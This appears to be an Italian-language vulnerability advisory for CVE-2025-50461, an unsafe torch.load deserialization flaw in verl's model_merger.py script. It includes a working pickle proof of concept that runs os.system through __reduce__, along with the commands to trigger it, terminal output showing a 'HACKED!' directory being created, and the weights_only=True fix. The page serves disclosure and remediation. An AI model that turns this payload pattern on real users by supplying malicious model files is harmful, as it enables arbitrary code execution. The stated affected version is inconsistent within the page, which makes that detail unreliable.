
Dettagli tecnici ed exploit per CVE-2025-50461
Stato: RISERVATO
Questo ID CVE è stato assegnato ma non è ancora stato pubblicato nell’elenco ufficiale CVE.Esiste una vulnerabilità di deserializzazione in Volcengine's verl 3.0.0, in particolare nello script scripts/model_merger.py quando si utilizza il backend "fsdp". Lo script chiama torch.load() con weights_only=False su file .pt forniti dall’utente, consentendo a un attaccante di eseguire codice arbitrario se viene caricato un file modello creato con intenti malevoli. Un attaccante può sfruttare questa vulnerabilità convincendo una vittima a scaricare e posizionare un file modello dannoso in una directory locale con un pattern di nome file specifico. Questa vulnerabilità può portare all’esecuzione di codice arbitrario con i privilegi dell’utente che esegue lo script.
scripts/model_merger.pymalicious.pt)import pickle
import os
class Malicious:
def __reduce__(self):
return (os.system, ("mkdir HACKED!",))
with open("malicious.pt", "wb") as f:
pickle.dump(Malicious(), f)
mv malicious.pt model_world_size_4_rank_0.pt
mkdir TESTS
mv model_world_size_4_rank_0.pt TESTS/
python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
root@99137c7690ee:/workspace/verl-main# python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
Traceback (most recent call last):
File "/workspace/verl-main/scripts/model_merger.py", line 440, in <module>
convert_fsdp_checkpoints_to_hfmodels()
File "/workspace/verl-main/scripts/model_merger.py", line 88, in convert_fsdp_checkpoints_to_hfmodels
state_dict = torch.load(os.path.join(local_dir, f'model_world_size_{world_size}_rank_{rank}.pt'),
File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1384, in load
return _legacy_load(
File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1630, in _legacy_load
raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
root@99137c7690ee:/workspace/verl-main# ls
'HACKED!' Notice.txt TESTS docker examples outputs pyproject.toml requirements.txt scripts test_prime.sh tmp verl.egg-info
LICENSE README.md data docs patches recipe requirements_sglang.txt setup.py tests verl verl_demo.log
Il comando mkdir HACKED! viene eseguito sul sistema della vittima.
weights_only=True, riducendo i rischi di deserializzazione.weights_only=True quando si chiama torch.load.state_dict = torch.load(path, map_location="cpu", weights_only=True)
| Campo | Valore |
|---|---|
| CVE ID | CVE-2025-50461 |
| Punteggio CVSS | TBD |
| CWE | CWE-502: Deserialization of Untrusted Data |
| Data di segnalazione | 2025-04-30 |
| Data di divulgazione | 2025-08-15 |
| Versione interessata | <= v0.4.0 |
| Versione correttiva |